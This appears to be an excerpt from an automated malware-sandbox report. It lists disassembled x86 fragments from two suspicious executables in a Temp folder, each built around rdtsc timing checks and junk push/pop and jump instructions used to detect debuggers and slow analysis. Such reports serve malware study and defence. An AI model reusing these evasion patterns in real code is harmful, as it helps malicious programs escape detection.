Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E4976 second address: 3E4990 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jc 00007F5504BA7166h 0x00000010 jne 00007F5504BA7166h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E4B24 second address: 3E4B29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E4E21 second address: 3E4E41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5504BA7170h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F5504BA7166h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E4E41 second address: 3E4E47 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E4E47 second address: 3E4E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F5504BA7172h 0x0000000c popad 0x0000000d push edi 0x0000000e pushad 0x0000000f jmp 00007F5504BA716Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E4F7F second address: 3E4F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E88F8 second address: 3E88FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E88FC second address: 3E8902 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E8902 second address: 3E890C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E890C second address: 3E8916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5504CC35E6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E8916 second address: 3E891C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E87CC second address: 3E87DB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jc 00007F5504CC35E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E9F3B second address: 3E9F45 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5504BA7166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E9F45 second address: 3E9F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5504CC35EBh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FA84E second address: 3FA863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jne 00007F5504BA716Eh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FA518 second address: 3FA54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504CC35F7h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5504CC35F3h 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FA54B second address: 3FA54F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FA54F second address: 3FA560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007F5504CC35E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FA560 second address: 3FA56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FA56B second address: 3FA571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FA571 second address: 3FA57E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FA57E second address: 3FA58D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35EAh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 400155 second address: 40017D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jns 00007F5504BA7166h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F5504BA7170h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 40017D second address: 400195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007F5504CC35EDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 400195 second address: 40019B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FFB92 second address: 3FFBA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35ECh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FFBA2 second address: 3FFBA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FFBA8 second address: 3FFBAD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FFD0A second address: 3FFD0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FFD0E second address: 3FFD20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35EEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3FFD20 second address: 3FFD2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 40566C second address: 405676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F5504CC35E6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 405676 second address: 4056A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5504BA7178h 0x0000000f jmp 00007F5504BA716Bh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 40915A second address: 409176 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f jmp 00007F5504CC35EDh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 40B3D2 second address: 40B3EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F5504BA7166h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5504BA716Dh 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 40E44F second address: 40E461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5504CC35EEh 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 40F8D1 second address: 40F8D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 40F8D7 second address: 40F8DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 40F8DD second address: 40F8EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jp 00007F5504BA716Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 412583 second address: 412587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 412587 second address: 4125A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5504BA716Dh 0x0000000d popad 0x0000000e jnc 00007F5504BA7170h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 419FE4 second address: 41A004 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F5h 0x00000007 push eax 0x00000008 jnp 00007F5504CC35E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 41FD0A second address: 41FD10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 41FEC8 second address: 41FEDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F5504CC35EAh 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 41FEDA second address: 41FEF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F5504BA7173h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 41FEF4 second address: 41FEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 4217AA second address: 4217C1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5504BA7172h 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 4217C1 second address: 4217C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 430701 second address: 430711 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F5504BA7166h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 430711 second address: 430751 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F5504CC35E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jng 00007F5504CC35ECh 0x00000015 jo 00007F5504CC35E6h 0x0000001b jmp 00007F5504CC35F0h 0x00000020 pushad 0x00000021 jmp 00007F5504CC35F0h 0x00000026 pushad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 432D91 second address: 432DBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F5504BA7166h 0x00000009 jns 00007F5504BA7166h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5504BA7174h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 432DBD second address: 432DE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35ECh 0x00000007 jns 00007F5504CC35E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F5504CC35F5h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 435437 second address: 435453 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5504BA7166h 0x00000008 jmp 00007F5504BA7172h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 4352C8 second address: 4352CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 4419B0 second address: 4419B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 45B92C second address: 45B931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 45BC9B second address: 45BCA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 45C0C8 second address: 45C0CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 45C373 second address: 45C38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504BA7175h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 45C38C second address: 45C390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 45C390 second address: 45C3AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504BA7175h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 45F426 second address: 45F42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 45F47D second address: 45F49D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA716Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jc 00007F5504BA7166h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 45F753 second address: 45F78E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp], eax 0x00000008 jmp 00007F5504CC35F5h 0x0000000d push dword ptr [ebp+122D2F80h] 0x00000013 mov dword ptr [ebp+122D232Ch], edx 0x00000019 push B3AD3E2Fh 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F5504CC35EAh 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 45F78E second address: 45F7A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA7170h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 46261E second address: 462625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 462625 second address: 46262F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5504BA7166h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 462194 second address: 4621CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F5504CC35FFh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 4621CB second address: 4621D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5504BA7166h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 4621D5 second address: 4621DF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5504CC35E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 378ACD second address: 378AE8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jc 00007F5504BA7166h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F5504BA716Ch 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 51A02C8 second address: 51A02CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 51A02CE second address: 51A02EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5504BA7179h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 51A02EB second address: 51A0355 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d call 00007F5504CC35F7h 0x00000012 mov ax, 509Fh 0x00000016 pop ecx 0x00000017 pushfd 0x00000018 jmp 00007F5504CC35F5h 0x0000001d sbb eax, 5A3BDDC6h 0x00000023 jmp 00007F5504CC35F1h 0x00000028 popfd 0x00000029 popad 0x0000002a xchg eax, ebp 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e push edi 0x0000002f pop esi 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 51A0355 second address: 51A0398 instructions: 0x00000000 rdtsc 0x00000002 mov cl, dl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 jmp 00007F5504BA716Ch 0x0000000e mov edx, dword ptr [ebp+0Ch] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F5504BA716Dh 0x0000001a and ax, C086h 0x0000001f jmp 00007F5504BA7171h 0x00000024 popfd 0x00000025 mov dl, ah 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 51A03FB second address: 51A040F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5504CC35F0h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 5BE39D second address: 5BDBA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F5504BA7177h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F5504BA7174h 0x00000011 nop 0x00000012 jmp 00007F5504BA716Eh 0x00000017 push dword ptr [ebp+122D0571h] 0x0000001d jns 00007F5504BA716Ch 0x00000023 call dword ptr [ebp+122D273Eh] 0x00000029 pushad 0x0000002a pushad 0x0000002b mov ebx, dword ptr [ebp+122D2A99h] 0x00000031 movzx ebx, bx 0x00000034 popad 0x00000035 pushad 0x00000036 mov esi, dword ptr [ebp+122D2BADh] 0x0000003c mov esi, dword ptr [ebp+122D29FDh] 0x00000042 popad 0x00000043 xor eax, eax 0x00000045 stc 0x00000046 mov edx, dword ptr [esp+28h] 0x0000004a xor dword ptr [ebp+122D1D52h], ecx 0x00000050 jne 00007F5504BA7178h 0x00000056 mov dword ptr [ebp+122D2BD9h], eax 0x0000005c jmp 00007F5504BA7175h 0x00000061 mov dword ptr [ebp+122D1D52h], eax 0x00000067 mov esi, 0000003Ch 0x0000006c jmp 00007F5504BA716Eh 0x00000071 add esi, dword ptr [esp+24h] 0x00000075 jmp 00007F5504BA716Ah 0x0000007a lodsw 0x0000007c jmp 00007F5504BA7173h 0x00000081 add eax, dword ptr [esp+24h] 0x00000085 jne 00007F5504BA7180h 0x0000008b mov ebx, dword ptr [esp+24h] 0x0000008f jg 00007F5504BA7184h 0x00000095 push eax 0x00000096 push eax 0x00000097 push edx 0x00000098 push edx 0x00000099 jmp 00007F5504BA716Fh 0x0000009e pop edx 0x0000009f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 5BDBA3 second address: 5BDBA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 732A4A second address: 732A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5504BA7178h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 732A6B second address: 732A71 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 732CF6 second address: 732D0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5504BA716Ah 0x00000008 jg 00007F5504BA7166h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	RDTSC instruction interceptor: First address: 736798 second address: 73679D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
